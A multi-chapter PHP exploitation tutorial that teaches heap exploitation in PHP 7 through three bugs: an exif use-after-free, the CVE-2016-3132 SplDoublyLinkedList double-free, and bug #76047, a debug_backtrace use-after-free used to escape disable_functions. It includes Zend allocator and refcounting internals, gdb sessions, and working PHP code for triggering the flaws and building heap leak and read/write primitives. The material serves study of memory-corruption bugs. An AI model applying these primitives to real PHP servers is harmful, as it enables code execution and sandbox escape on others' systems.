type``: This is where the type of the PHP variable is saved, it is an unsigned char. 54 | 55 | Possible values you will find there: 56 | 57 | ``` 58 | #define IS_UNDEF 0 59 | #define IS_NULL 1 60 | #define IS_FALSE 2 61 | #define IS_TRUE 3 62 | #define IS_LONG 4 63 | #define IS_DOUBLE 5 64 | #define IS_STRING 6 65 | #define IS_ARRAY 7 66 | #define IS_OBJECT 8 67 | #define IS_RESOURCE 9 68 | #define IS_REFERENCE 10 69 | ``` 70 | The full list can be found in [Zend/zend_types.h](https://github.com/php/php-src/blob/PHP-7.2/Zend/zend_types.h#L361) 71 | 72 | * ``zend_value value``: represents the actual value 73 | 74 | This is how it looks like: 75 | ```c 76 | 77 | typedef union _zend_value { 78 | zend_long lval; /* long value */ 79 | double dval; /* double value */ 80 | zend_refcounted *counted; 81 | zend_string *str; // <---- used in this chapter 82 | zend_array *arr; 83 | zend_object *obj; 84 | zend_resource *res; // <---- used in this chapter 85 | zend_reference *ref; 86 | zend_ast_ref *ast; 87 | zval *zv; 88 | void *ptr; 89 | zend_class_entry *ce; 90 | zend_function *func; 91 | struct { 92 | uint32_t w1; 93 | uint32_t w2; 94 | } ww; 95 | } zend_value; 96 | ``` 97 | >*To those not familiar with the concept of unions: A union defines multiple members of different types, but only one of them can ever be used at a time. E.g. if the ``value.lval`` member was set, then you also need to look up the value using ``value.lval`` and not one of the other members (doing so would violate “strict aliasing” guarantees and lead to undefined behaviour).* **The reason is that unions store all their members at the same memory location and just interpret the value located there differently depending on which member you access**. [[0]](http://www.phpinternalsbook.com/php7/internal_types/zvals/basic_structure.html), 98 | 99 | Remember the last sentence because this is the key to writing the exploit we'll talk about soon. 100 | 101 | Before we'll get to the next part (*Time to pwn*), Let's see how it actually looks in memory because until now, we had only theory stuff. 102 | 103 | When running the following PHP script: 104 | ```php 105 | value will point to a zend_string struct 107 | $b = fopen("out.txt", "w"); // zval->value will point to a zend_resource 108 | ?> 109 | ``` 110 | The variables will look like this in memory: 111 | 112 | ``$a``: 113 | 114 | ![screenshot1](./images/a_in_mem.png) 115 | 116 | ``$b``: 117 | 118 | ![screenshot1](./images/b_in_mem.png) 119 | 120 | FOR NOW: Ignore everything that is inside the ``gc`` member (it appears in the beginning of a ``zend_string`` and also at the beginning of ``zend_resource``), this thing is related to the garbage collector. We will talk about it in the next chapter. 121 | 122 | ## Time to pwn 123 | 124 | 125 | This UAF caught my attention so I thought it will be a good practice if I come up with a practical PoC. 126 | 127 | After digging a while in PHP's structures, I found out a creative **and super easy** way of exploiting it in 32bit systems. This will not work in 64-bit because the whole exploit is based on the fact that ``zend_string`` and ``zend_resource`` structures can land in the same small-bin in the heap (first-fit technique). 128 | 129 | ``` 130 | gdb-peda$ call sizeof(zend_resource) 131 | $8 = 20 132 | gdb-peda$ call sizeof(zend_string) 133 | $9 = 20 134 | ``` 135 | 136 | Run the PoC, read the comments I added there for more information and try to debug it yourself. I also added some snippets below from my dynamic analysis session. This demonstrates the idea of "two PHP variables of different type share the same memory address" visually: 137 | 138 | When you're running ``PoC.php``, PHP sees ``$s`` like that: 139 | ``` 140 | gdb-peda$ print (zend_string)*0xb5a01408 141 | $4 = { 142 | gc = { 143 | refcount = 1, 144 | u = { 145 | v = { 146 | type = 6 '\006', 147 | flags = 0 '\000', 148 | gc_info = 0 149 | }, 150 | type_info = 6 151 | } 152 | }, 153 | h = 0, 154 | len = 3, 155 | val = "AAA" <---- our allocated string 156 | } 157 | ``` 158 | 159 | And this is how PHP sees ``$r``: 160 | ``` 161 | gdb-peda$ print (zend_resource)*0xb5a01408 <---- same address, different structure representation 162 | $5 = { 163 | gc = { 164 | refcount = 1, 165 | u = { 166 | v = { 167 | type = 6 '\006', 168 | flags = 0 '\000', 169 | gc_info = 0 170 | }, 171 | type_info = 6 172 | } 173 | }, 174 | handle = 0, 175 | type = 3, 176 | ptr = 0x414141 <------ what? 177 | } 178 | ``` 179 | By modifying ``$s`` you can make ``$r`` to point to a fake ``php_stream`` of your own and use ``fread()`` /``fclose()`` to achieve Code Execution in "Zend land" :gun: 180 | 181 | When we try to ``fread($r)`` we get our favorite type of SIGSEVs, PHP tries to read from a ``php_stream`` structure at ``0x414141``: 182 | 183 | ![screenshot1](./images/spoofed_stream.png) 184 | 185 | 186 | 187 | ## The fix 188 | Instead of free'ing the resource, the Zend engine just set it to ``NULL``: 189 | 190 | http://git.php.net/?p=php-src.git;a=blobdiff;f=ext/exif/exif.c;h=67e827b44147ab121d1f7174eab62addd24bc889;hp=f5b0d4009fe18daf931a2a073882dc517a560012;hb=3fdde65617e9f954e2c964768aac8831005497e5;hpb=e0290192752a72b5be35b033b33590e040d60d24 191 | ``` 192 | --- a/ext/exif/exif.c 193 | +++ b/ext/exif/exif.c 194 | @@ -4324,7 +4324,7 @@ static int exif_read_from_impl(image_info_type *ImageInfo, php_stream *stream, i 195 | zend_string *base; 196 | if ((st.st_mode & S_IFMT) != S_IFREG) { 197 | exif_error_docref(NULL EXIFERR_CC, ImageInfo, E_WARNING, "Not a file"); 198 | - php_stream_close(ImageInfo->infile); 199 | + ImageInfo->infile = NULL; 200 | return FALSE; 201 | } 202 | ``` 203 | 204 | ## How the full RCE exploit should look like 205 | 206 | Since this is the first time I present heap exploitation in this series, I'd like to keep it simple and not jump straight to a fully-weaponized heap exploits. Simply because at this point, you still don't know enough about PHP's heap. This knowledge is required if you want to do stuff like defeating ASLR and write your malicious data in the right places (will be covered next). 207 | 208 | **But if you're curious** (because I know you are): 209 | 210 | You can takeover EIP by forging metadata within the ``php_stream`` structure: There's a property called ``ops`` (in ``php_stream``) which is responsible for storing function pointers. Those function pointers can be triggered using PHP functions like ``fread()`` or ``fclose()``: 211 | 212 | ![screenshot1](./images/full-exploit.png) 213 | 214 | 215 | ## What we covered in this chapter 216 | So far, we have: 217 | * Implemented a classic **first-fit** technique for our exploit without knowing too much about PHP's heap. We caused an early free and made the next allocation of a string to land in the same small bin. 218 | * We learned about the ``zval`` - which is super important for the next bugs. 219 | * We also learned about how some types are represented internally within PHP (``zend_string`` and ``zend_resource`` structures) 220 | * We saw how the modification of one variable can cause a memory corruption at the other when they are sharing the same memory address. 221 | 222 | This is very cool. But for a real exploit (like the one in *How the full RCE exploit should look like*) we'll need to understand more about the allocator and PHP's heap. This will be covered in the next bug (if you followed the Table of Contents in the main README file, the next bug is ``[CVE-2016-3132] Double-Free to RCE``). 223 | 224 | ## More info 225 | * The original bug report: https://hackerone.com/reports/371135 226 | * More about ``zval``s: https://www.php.net/manual/en/internals2.variables.intro.php 227 | * My setup: 228 | ``` 229 | ./configure --enable-debug=true --enable-cli --enable-exif 230 | make 231 | ``` 232 | 233 | 234 | -------------------------------------------------------------------------------- /0x07 [CVE-2016-3132] Double-free to RCE/README.md: -------------------------------------------------------------------------------- 1 | # [CVE-2016-3132] Double-Free to RCE 2 | 3 | In the previous chapter, we learned about the ``zval`` & some structures in PHP to get a basic idea on how UAF exploits **should** look like. We also implemented a first-fit technique without knowing anything about PHP's heap. 4 | 5 | In this chapter, we'll dive a little bit deeper. We will learn about some new concepts to get the bigger picture: 6 | * The Zend allocator 7 | * The Garbage Collector 8 | 9 | After we will cover those subjects, we will see the bug details & technique used to practically exploit it. We will also get to see how PHP objects looks like in memory. 10 | 11 | ## The Zend Allocator 12 | 13 | If you know ``malloc()`` and ``free()`` it should be fairly easy for you to understand. 14 | 15 | The Zend Engine has a custom memory allocator that manages its own heap. Every time PHP wants to allocate a new chunk on the heap, it uses a function called ``emalloc()``. And everytime PHP wants to free a chunk it uses ``efree()``. 16 | 17 | Allocations on the heap are divided into three categories: 18 | * Small heap allocation (< 3072 bytes) 19 | * Large heap allocation ( < 2 megabytes) 20 | * Huge heap allocation ( > 2 megabytes) 21 | 22 | We will focus on small heap allocations since this is more common in PHP exploitation. 23 | 24 | For heap/UAF exploit development, you will need to know where PHP saves its free memory slots, you can get this information using the ``_zend_mm_heap`` struct, this structure represents the heap: 25 | 26 | Snippet from [Zend/zend_alloc.c @ L232](https://github.com/php/php-src/blob/PHP-7.4.2/Zend/zend_alloc.c#L232) 27 | 28 | ![screenshot1](./res/zend_mm_heap_struct.png) 29 | 30 | Let's focus on the ``free_slot`` property: 31 | * This is an array of pointers. 32 | * Each element in this array represents a head of a singly-linked list, containing the next free chunks. 33 | * There are total of ``ZEND_MM_BINS`` lists (or in other words, bins/free-lists). 34 | * The difference between each bin is the size of the free chunk: 35 | - ``heap->free_slot[0]`` contains a singly-linked list of pointers to free chunks with **size of 1 - 8 bytes** 36 | - ``heap->free_slot[1]`` contains a singly-linked list of pointers to free chunks with **size of 9 - 16 bytes** 37 | - ``heap->free_slot[2]`` contains a singly-linked list of pointers to free chunks with **size of 17 - 24 bytes** 38 | - ``heap->free_slot[N]`` contains a singly-linked list of pointers to free chunks with **size from ``((N*8)+1)`` to ``((N+1)*8)`` bytes** 39 | 40 | ### > *What happens during ``emalloc()``?* 41 | 42 | When a new allocation is made: 43 | 44 | 1. The algorithm sees what is the requested size and calculate the appropriate bin number (using the macro ``ZEND_MM_SMALL_SIZE_TO_BIN``): 45 | 46 | ![screenshot1](./res/emalloc_wrapper.png) 47 | 48 | 2. When it finds the right bin, it removes one pointer from the free-list and return it back to the user using ``zend_mm_alloc_small()``: 49 | 50 | Snippet from [Zend/zend_alloc.c @ L1254](https://github.com/php/php-src/blob/PHP-7.4.2/Zend/zend_alloc.c#L1254) 51 | ```c 52 | zend_mm_free_slot *p = heap->free_slot[bin_num]; 53 | heap->free_slot[bin_num] = p->next_free_slot; 54 | return (void*)p; 55 | ``` 56 | 57 | 58 | ### > *What happens during ``efree()``?* 59 | 60 | When PHP tries to free a memory chunk: 61 | 62 | 1. The algorithm sees what is the requested size and calculate the appropriate bin number. 63 | 64 | ![screenshot1](./res/efree_wrapper.png) 65 | 66 | 67 | 2. When it finds the right bin, it adds this pointer to the top of the free-list using ``zend_mm_free_small()``: 68 | 69 | Snippet from [Zend/zend_alloc.c @ L1277](https://github.com/php/php-src/blob/PHP-7.4.2/Zend/zend_alloc.c#L1277) 70 | 71 | ```c 72 | p = (zend_mm_free_slot*)ptr; 73 | p->next_free_slot = heap->free_slot[bin_num]; 74 | heap->free_slot[bin_num] = p; 75 | ``` 76 | 77 | ### > *How it looks like from PHP's "User Land"* 78 | 79 | Pretty straight forward: 80 | ```php 81 | 85 | ``` 86 | * The first line will trigger an ``emalloc()``, requesting to allocate a new ``zend_string`` structure and assign it to our ``zval.value.str`` pointer, which is ``$a``'s value. 87 | * The second line will free the ``zend_string`` **and** set the ``zval`` type to be ``IS_UNDEF`` 88 | 89 | ### > *Can I see it live in a debugger?* 90 | 91 | To inspect the heap and the bins, you can: 92 | 1. Set a breakpoint on any internal PHP function you'd like. 93 | 2. Call ``zend_mm_get_heap()``, this will return the address of the heap: 94 | 95 | ``` 96 | gdb-peda$ call zend_mm_get_heap() 97 | $7 = (zend_mm_heap *) 0x7ffff6000040 98 | ``` 99 | 100 | 3. Now, when you have the heap address, you can observe its behaviour more closely when you learn about UAF bugs: 101 | 102 | ![screenshot1](./res/free_slots.png) 103 | 104 | Here are our free-lists :D 105 | 106 | 107 | More resources: 108 | * A great summary to watch before you continue to the next topic: (see from 28:25 to 31:05) https://youtu.be/_Zj0B4D4TYc?t=1705 109 | * The PHP Lifecycle: http://www.phpinternalsbook.com/php7/extensions_design/php_lifecycle.html 110 | * More about Zend Memory Manager (``emalloc`` **is not the only function** for requesting allocations. But it's the most common and this is why I chose to write about it. This link covers more types of allocations such as *persistent allocations* which is done using another function called ``pemalloc()``): http://www.phpinternalsbook.com/php7/memory_management/zend_memory_manager.html 111 | 112 | 113 | 114 | ## The Garbage Collector & Reference Counting 115 | 116 | Even if you don't call [unset()](https://www.php.net/manual/en/function.unset.php) manually, PHP will know when to free unused variables. But what exactly are "*unused variables*"? How does PHP know when a variable(or, memory chunk) is no longer needed for the rest of the PHP script execution? 117 | 118 | The garbage collector decides when to free a chunk, this is done via a strategy called *Reference Counting*: 119 | >*Reference counting garbage collection is where each object has a count of the number of references to it. Garbage is identified by having a reference count of zero. An object's reference count is incremented when a reference to it is created, and decremented when a reference is destroyed. When the count reaches zero, the object's memory is reclaimed* [[Wikipedia]](https://en.wikipedia.org/wiki/Garbage_collection_(computer_science)#:~:text=Reference%20counting,-Main%20article%3A%20Reference&text=Reference%20counting%20garbage%20collection%20is,when%20a%20reference%20is%20destroyed.) 120 | 121 | The way it is implemented in PHP: 122 | * Each PHP variable(``zval`` container) points to a value (via ``zval.value``) 123 | * This value is reference counted: meaning that if you create 2 PHP variables of type string **with the same value**, PHP will not allocate 2 ``zend_string`` structs. Instead, it will increase the reference counting of the first ``zend_string`` and make the second ``zval.value`` point to the same address. 124 | 125 | Let's take this PHP script as an example: 126 | ``` 127 | 131 | ``` 132 | 133 | The script above will: 134 | 1. Allocate a new ``zval``: $str 135 | 2. Allocate **one** ``zend_string`` in the memory(``"A"``) and make the ``zval.value`` of $str to point to it. 136 | 3. Create another ``zval``: $str2 137 | 4. At this point, PHP will **not** allocate another copy of the string, instead, it will increase the reference counting of the first ``zend_string``(from step 2) and and make the second ``zval.value``(which is $str2) to point to the same place. 138 | 139 | This is how the string looks like in memory, with refcount of 2: 140 | 141 | ![screenshot1](./res/refcounting_gc.png) 142 | 143 | ``$str`` and ``$str2`` are both pointing to this value. This "magic trickery" was introduced in PHP7 to reduce memory usage. 144 | 145 | >**Note**: the example I showed above may be on a ``zend_string``, but it's also relevant for many other types as well(``zend_resource``, ``zend_object``, etc.). They all have an embedded ``gc`` struct, containing the ``refcount``. 146 | 147 | **"This is boring! How exactly reference counting is relevant for PHP exploitation?":** When the refcount hits 0, the garbage collector will automatically free the chunk! ✨ Abusing this behaviour is perfect for UAF exploiters. Our goal is to zero the refcount before the PHP script ends (hence, causing an *early-free*) 148 | 149 | In fact, you already abused the refcount in the previous chapter, **you just don't know it**: 150 | 151 | In the previous chapter, we exploited a UAF with a classic *first-fit* technique without knowing **anything** about the garbage collector & the heap. All we did was finding a struct with a similar size to ``zend_resource``(we used ``zend_string``), assuming it will land on the same bin because they're similar in size(and it worked like a charm!). 152 | 153 | By zero-ing the refcount, we managed to free a ``zend_resource`` but also managed to keep the PHP variable (``zval``) "alive", pointing to a free memory. It happened because the Zend Engine performed a call to ``i_zval_ptr_dtor()``, which decreases the refcount of the ``zend_resource`` object in memory: 154 | 155 | ![screenshot1](./res/i_zval_ptr_dtor.png) 156 | 157 | The refcount was hitting 0 and the ``zend_resource`` was free'd by the garbage collector before the PHP script actually finished its execution. #profit 158 | 159 | Enough talking about the previous chapter, I did this just to demonstrate how important it is to understand the refcount thing and to show you the bigger picture. 160 | 161 | In order to develop exploits in PHP, you don't have to "master" the garbage collector and know everything about it, but on the other hand: you'll have to be with SOME basic understanding about concepts like reference counting as it is very useful. 162 | 163 | For more info about Reference Counting in PHP: 164 | * PHP's docs: https://www.php.net/manual/en/features.gc.refcounting-basics.php 165 | * nikic's blog(project maintainer of PHP): https://nikic.github.io/2015/05/05/Internal-value-representation-in-PHP-7-part-1.html 166 | 167 | 168 | ## The bug 169 | 170 | This is it, you're ready. 171 | 172 | The bug's description: 173 | 174 | >Double free vulnerability in the SplDoublyLinkedList::offsetSet function in ext/spl/spl_dllist.c in PHP 7.x before 7.0.6 allows remote attackers to execute arbitrary code via a crafted index. 175 | 176 | This bug was originally found by Emmanuel Law, he did a talk about it in *TROOPERScon*, you can watch it here: 177 | 178 | https://www.youtube.com/watch?v=I29FEZn1pw4 179 | 180 | He also posted a great technical write-up here: http://www.libnex.org/blog/doublefreeinstandardphplibrarydoublelinklist 181 | 182 | If the link to the write-up doesn't work anymore: I created a snapshot in *WaybackMachine* (not all heroes wear capes): https://web.archive.org/web/20200609210419/http://www.libnex.org/blog/doublefreeinstandardphplibrarydoublelinklist 183 | 184 | 185 | Although the write-up and talk are extermly helpful, I know a lot of people want to see how the vulnerabillity looks like in a dynamic analysis. 186 | 187 | I created this image from a dynamic analysis session of ``PoC.php``, it really combines everything that we've learned so far(from here & from the URLs I provided): 188 | 189 | ![screenshot1](./res/doublefree.png) 190 | 191 | >**Side note**: In case you're wondering why the bin here is ``free_slot[7]`` and in the original exploit it's bin #12: This is because this screenshot was taken from a 32bit machine when I first learned about the bug. I tried to create my own version for 32bit (because the original exploit is intended for 64bit). 192 | 193 | 194 | ## PoC 195 | 196 | The PoC exploit allows you to jump to a ROP gadget to execute your own code in "Zend land": 197 | 198 | ![screenshot1](./res/rip_takeover.png) 199 | 200 | You can look at ``PoC.php`` and see the comments I added to understand better what's happening under the hood. 201 | 202 | ## What's next 203 | 204 | Right now you're a ninja, but not a wizard yet. 205 | 206 | The only problem with this RCE exploit is that the offsets to your ROP Gadget might change between PHP installations / distros. 207 | 208 | At the end, our goal is to execute system commands on a hardened environment: We want to get a bash shell even when ``system()`` is disabled (configured by the sysadmin using the ``disable_functions`` directive in the php.ini file) 209 | 210 | So instead of taking over the instruction pointer and execute arbitrary code in the "Zend land", we can use another approach: Editing PHP's memory directly to make it trigger a call to ``zif_system()``. This will be covered in the next bug and after you'll learn that: you are officially a certified wizard. 211 | 212 | 213 | ## Some more technical info 214 | * Bug original bug report: https://bugs.php.net/bug.php?id=71735 215 | * The commit / fix of this bug: http://git.php.net/?p=php-src.git;a=blobdiff;f=ext/spl/spl_dllist.c;h=1675c7eaf3a1d5b0a960512c7dd751a2f1d65a09;hp=aa0c6c384071a52daf815d230424bb9e97577e5b;hb=28a6ed9f9a36b9c517e4a8a429baf4dd382fc5d5;hpb=f3309173f916e3c5cf37910975f04310706336b5 -------------------------------------------------------------------------------- /0x08 [bug #76047] Bypassing disable_functions/README.md: -------------------------------------------------------------------------------- 1 | # Bug #76047 - Bypassing ``disable_functions`` 2 | 3 | >The exploit we'll talk about in this chapter is intended for **post-exploitation**. You'll use it cases where you have a File Upload vulnerability but the target PHP environment is hardened and you cannot execute dangerous functions such as ``system()``, ``passthru()``, ``exec()`` etc. 4 | > 5 | >This will help you to escape out of the "sandbox" that PHP creates. 6 | > 7 | > ![screenshot1](./res/bypassing_disabled_functions.png) 8 | 9 | **TL;DR**: In this chapter, we are creating an empty, anonymous PHP function and then corrupting its memory to make it execute ``system()``. The exploit should work on all PHP 7.0-7.4 versions and the bug was fixed around Feb 2020. 10 | 11 | ## The bug 12 | 13 | A use-after-free was found in the [debug_backtrace()](https://www.php.net/manual/en/function.debug-backtrace.php ) function. 14 | 15 | When calling ``debug_backtrace()``, it returns an array with a backtrace info containing a lot of information about the currently-executed PHP script. 16 | 17 | This information includes things like class names, function names that were called and also **function arguments** that were supplied. 18 | 19 | Turns out that it's possible to retrieve function arguments that were already free'd using ``debug_backtrace()`` : 20 | 21 | ```php 22 | a); // free'ing $arg's zend_string 30 | $backtrace = debug_backtrace(); // retrieving $arg after it was free'd using debug_backtrace(), the result will be saved in $backtrace, which is a global variable in our script. Hence, we will be able to access it from anywhere in the PHP script and not only in the __destruct method. 31 | } 32 | } 33 | 34 | function trigger_uaf($arg) { 35 | $arg = str_shuffle(str_repeat('A', 79)); 36 | $vuln = new Vuln(); 37 | $vuln->a = $arg; // making $vuln->a point to $arg's zend_string 38 | 39 | // .... more zend stuff is happening in the background ... 40 | 41 | // at this point(end of the function), the __destructor() function of the $vuln object is called 42 | } 43 | 44 | trigger_uaf('x'); // using trigger_uaf() we are free'ing $arg and putting the backtrace in our global variable: $backtrace 45 | var_dump($backtrace[1]['args'][0]); // printing the free'd zend_string 46 | $another_var = str_repeat('B', 79); // creating another allocation of the same size in order to catch the free memory slot 47 | var_dump($backtrace[1]['args'][0]); // printing $arg again 48 | 49 | ``` 50 | >Note: don't let ``str_shuffle()`` confuse you, it's just to prevent [OPCache Interned Strings](https://support.acquia.com/hc/en-us/articles/360005319294-Understanding-and-Resolving-PHP-OPcache-and-OPcache-Interned-Strings-buffer-errors): "*The Interned Strings buffer is the amount of memory (in megabytes M) used to store identical strings*". 51 | > 52 | >It is not important for this PoC but it will prevent crashes soon when we'll show the full exploit. 53 | 54 | Notice at the last 3 lines: we are printing **the same variable** twice with two calls to ``var_dump()``. The output supposed to be ``AAAAAAAA...`` twice, right...? 55 | 56 | This is the output: 57 | 58 | ``` 59 | string(79) "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 60 | string(79) "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" 61 | ``` 62 | 63 | We managed to trigger the UAF! ``$another_var`` and ``$backtrace[1]['args'][0]`` shares the same memory address #success 64 | 65 | Instead of overlapping a ``zend_string`` with another ``zend_string`` (which is not so useful), we will overlap a ``zend_string`` with a ``zend_object`` to get arbitrary read/write on the heap. 66 | 67 | First, we'll have to understand what is the size of the chunk that ``str_repeat('A', 79)`` generates: 68 | 69 | * ``A`` times 79 = 79 bytes 70 | * The rest of the ``zend_string`` structure = 25 bytes 71 | * Total = 104 bytes allocated 72 | 73 | In order to create a PHP object with the right size (104 bytes) we'll create a PHP object with 4 properties in it: 74 | 75 | ```php 76 | 56 82 | 83 | 56 bytes is the size of a PHP object with just one property in it (the default is one). 84 | 85 | We can make it bigger by adding more properties when we define the Helper class: 86 | public $a; ----> zend_object size: 56 87 | public $b; ----> zend_object size: 72 (+16 we're adding another zval) 88 | public $c; ----> zend_object size: 88 (+16 we're adding another zval) 89 | public $d; ----> zend_object size: 104 (+16 we're adding another zval) 90 | */ 91 | class Helper { 92 | public $a, $b, $c, $d; 93 | } 94 | 95 | class Vuln { 96 | public $a; 97 | public function __destruct() { 98 | global $backtrace; 99 | unset($this->a); // free'ing 104 bytes 100 | $backtrace = debug_backtrace(); 101 | } 102 | } 103 | 104 | function trigger_uaf($arg) { 105 | $arg = str_shuffle(str_repeat('A', 79)); 106 | $vuln = new Vuln(); 107 | $vuln->a = $arg; 108 | } 109 | 110 | trigger_uaf('x'); //triggering the UAF & freeing 104 bytes 111 | $abc = $backtrace[1]['args'][0]; 112 | 113 | var_dump($abc); // printing $arg from the backtrace result 114 | $helper = new Helper; // allocating 104 bytes 115 | var_dump($abc); // printing $arg from the backtrace result AGAIN 116 | ``` 117 | 118 | Output: 119 | 120 | ``` 121 | string(79) "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 122 | string(140737320595480) 123 | ``` 124 | 125 | Our ``$abc`` string has a huge length (``140737320595480``) and it allows us to get arbirary heap read/write using this long string :D 126 | 127 | This is how the overlapping looks like: 128 | ``` 129 | zend_string zend_object 130 | ---------------------------------- 131 | gc gc 132 | h handle 133 | len ce 134 | val+0 handlers 135 | val+8 properties 136 | val+16 first field 137 | val+24 type of first field 138 | ... 139 | ``` 140 | 141 | Some snippets from my debugging session: 142 | 143 | This is how ``$abc`` looks like before we init the ``$helper`` object: 144 | ``` 145 | gdb-peda$ print (zend_string) *0x7ffff6073070 146 | { 147 | gc = { 148 | refcount = 0xf6073002, 149 | u = { 150 | v = { 151 | type = 0xff, 152 | flags = 0x7f, 153 | gc_info = 0x0 154 | }, 155 | type_info = 0x7fff 156 | } 157 | }, 158 | h = 0x0, 159 | len = 0x4f, <---- length field is 79 160 | val = "A" 161 | } 162 | ``` 163 | 164 | And this is how ``$abc`` looks like after we init the ``$helper`` object: 165 | 166 | ``` 167 | gdb-peda$ p (zend_string)*0x7ffff6073070 168 | $11 = { 169 | gc = { 170 | refcount = 0x1, 171 | u = { 172 | v = { 173 | type = 0x8, 174 | flags = 0x0, 175 | gc_info = 0x0 176 | }, 177 | type_info = 0x8 178 | } 179 | }, 180 | h = 0x2, 181 | len = 0x7ffff6003018, <----- really large value 182 | val = "\300" 183 | } 184 | ``` 185 | 186 | This address now contains a ``zend_object`` and not a ``zend_string``, but PHP keeps treating it as if it was a string using ``$abc``. 187 | 188 | We overwrote ``zend_string.len`` with one of the pointers( ``zend_object.ce``) of the \$helper object that we instantiated. It doesn't really matter where this pointer points to, our goal here was to make ``len`` a really large value and we achieved it. Now we have arbitrary read/write on the heap using our uaf'd string (``$abc``). 189 | 190 | ## 0day exploit - found "in the wild" 191 | 192 | A few years after this bug was reported, somebody with the handle *@mm0r1* wrote a fully-weaponized UAF exploit and...well, during that time (around **Feb, 2020**) the bug was **still not fixed**. The devs probably forgot about it and the bug report stayed public the whole time. 193 | 194 | Because they didn't fix it for such a long time, it works on a wide range of PHP versions (7.0 to 7.4) which makes it very useful for an attacker. 195 | 196 | The techniques that the exploit author used are pretty clever. I had to debug this thing for a long time in order to understand the magic trickery he did there and to be able to explain everything in plain English so I hope you'll learn something from this write-up when you're writing your own exploits ✨ 197 | 198 | The exploit has 4-5 stages (depends how you read it): 199 | 200 | * Triggering the UAF to get arbirary read/write on the heap (which we already did above ✓) 201 | * Understanding where we are in memory 202 | * Overcoming ASLR: Finding ``zif_system()`` 203 | * Creating a Fake Closure Object 204 | * Pwn :gun: 205 | 206 | We will use a version that I made with more comments: [here](./exploit.php). 207 | 208 | Buckle up, this is going to be a wild ride. 209 | 210 | ## Understanding where we are in memory 211 | 212 | In order to understand where we are in memory, we are reading 0x58 bytes away from the beginning of our free'd ``zend_string.val``($abc). 213 | 214 | We use the offset 0x58 because this is exactly where the ``zend_object``($helper) is over and the next chunk in the heap begins: 215 | 216 | ```php 217 | $php_heap = str2ptr($abc, 0x58); 218 | ``` 219 | 220 | ![screenshot1](./res/php_heap.png) 221 | 222 | >**Note**: In the ``exploit.php`` of this repo: this is in [line 183](exploit.php#L183) 223 | 224 | 225 | Now ``$php_heap`` contains the first bytes of whatever is after ``zend_object``, it will contain: ``0x00007ffff6073150`` 226 | 227 | **Q**: But why do we need this value? It's not even related to our object. It's outside of the ``zend_object`` chunk. 228 | 229 | **A**: The first 8 bytes of a free chunk contains the address of the next free chunk on the heap: 230 | 231 | ![screenshot1](./res/abc_addr_relative.png) 232 | 233 | We can abuse this behaviour to **calculate other addresses** on the heap. In the next line of the exploit ([184](exploit.php#L184)), you can see that the address of ``$abc`` is calculated using this leaked heap address: 234 | 235 | ```php 236 | $abc_addr = $php_heap - 0xc8; 237 | ``` 238 | 239 | Let's double-check and calculate those values ourselves, we already know from the screenshots above that the address of our free'd ``zend_string.val`` is ``0x7ffff6073088``: 240 | ``` 241 | gdb-peda$ set $php_heap = 0x00007ffff6073150 242 | gdb-peda$ p/x $php_heap - 0xc8 243 | $100 = 0x7ffff6073088 244 | ``` 245 | 246 | yes! The result is ``0x7ffff6073088`` as expected. 247 | 248 | Simple PoC for leaks: 249 | ```php 250 | = 0; $j--) { 255 | $address <<= 8; 256 | $address |= ord($str[$p+$j]); 257 | } 258 | return $address; 259 | } 260 | /* =============================== */ 261 | 262 | global $backtrace; 263 | 264 | 265 | class Helper { 266 | public $a, $b, $c, $d; 267 | } 268 | 269 | class Vuln { 270 | public $a; 271 | public function __destruct() { 272 | global $backtrace; 273 | unset($this->a); 274 | $backtrace = debug_backtrace(); 275 | } 276 | } 277 | 278 | function trigger_uaf($arg) { 279 | $arg = str_shuffle(str_repeat('A', 79)); 280 | $vuln = new Vuln(); 281 | $vuln->a = $arg; 282 | } 283 | 284 | trigger_uaf('x'); // freeing $arg (104 bytes) 285 | $abc = &$backtrace[1]['args'][0]; // UAF'd zend_string 286 | $helper = new Helper; // allocating 104 bytes 287 | 288 | // setting values like 0x1336, 0x1337 for debugging purposes (it's easier to detect the object in memory dumps if it has known values) 289 | $helper->a = 0x1336; // zend_object->properties_table[0] 290 | $helper->b = function ($x) { }; // ignore this right now, this will become system() by the end of this write-up 291 | $helper->c = 0x1337; // zend_object->properties_table[2] 292 | $helper->d = 0x1338; // zend_object->properties_table[3] 293 | 294 | 295 | $php_heap = str2ptr($abc, 0x58); // reading the beginning of a free chunk on the heap 296 | $abc_addr = $php_heap - 0xc8; // going back to the address of where the string in $abc begins 297 | 298 | echo "\n Heap leak: 0x".dechex($php_heap); 299 | echo "\n abc addr: 0x".dechex($abc_addr); 300 | 301 | ?> 302 | ``` 303 | 304 | Output: 305 | ``` 306 | Heap leak: 0x7ffff6073150 307 | abc addr: 0x7ffff6073088 308 | ``` 309 | 310 | We managed to get the address of ``zend_string.val``($abc). 311 | 312 | ok so that was read, What about write? 313 | 314 | The ``write()`` function will allows us to write directly to the uaf'd ``zend_string``($abc) whatever we want with an offset of our choice: 315 | 316 | ```php 317 | function write(&$str, $p, $v, $n = 8) { 318 | $i = 0; 319 | for($i = 0; $i < $n; $i++) { 320 | $str[$p + $i] = chr($v & 0xff); 321 | $v >>= 8; 322 | } 323 | } 324 | ``` 325 | 326 | In the next lines of the exploit([187-188](exploit.php#L187-L188)), the author uses the ``write()`` function to write the values ``2`` and ``6`` at specific offsets (``0x60`` and ``0x70``): 327 | ```php 328 | write($abc, 0x60, 2); 329 | write($abc, 0x70, 6); 330 | ``` 331 | He's writing outside of the object again. We can understand that it's the end of the object by the ``0x1338`` value in the top right(which is the value we set to ``$helper->d`` in the PHP script): 332 | 333 | ![screenshot1](./res/write_diff.png) 334 | 335 | It looks like he's trying to write a ``zend_reference`` from scratch: 336 | 337 | ``` 338 | struct _zend_reference { 339 | zend_refcounted gc; // populated with 0x2 using write() 340 | zval val; // populating zval.u1(contains the type_info field) with the value 6 using write() 341 | }; 342 | ``` 343 | 344 | * The value ``2`` is for the ``gc`` field 345 | * The value ``6`` is for the ``type_info`` field of the zval, we're setting it to be ``IS_STRING`` 346 | 347 | **But why? Why would you create a ``zend_reference``?** 348 | 349 | Well, even though ``$abc`` allows us to get arbirary read: It allows us to read only whats after ``$abc`` in memory. But 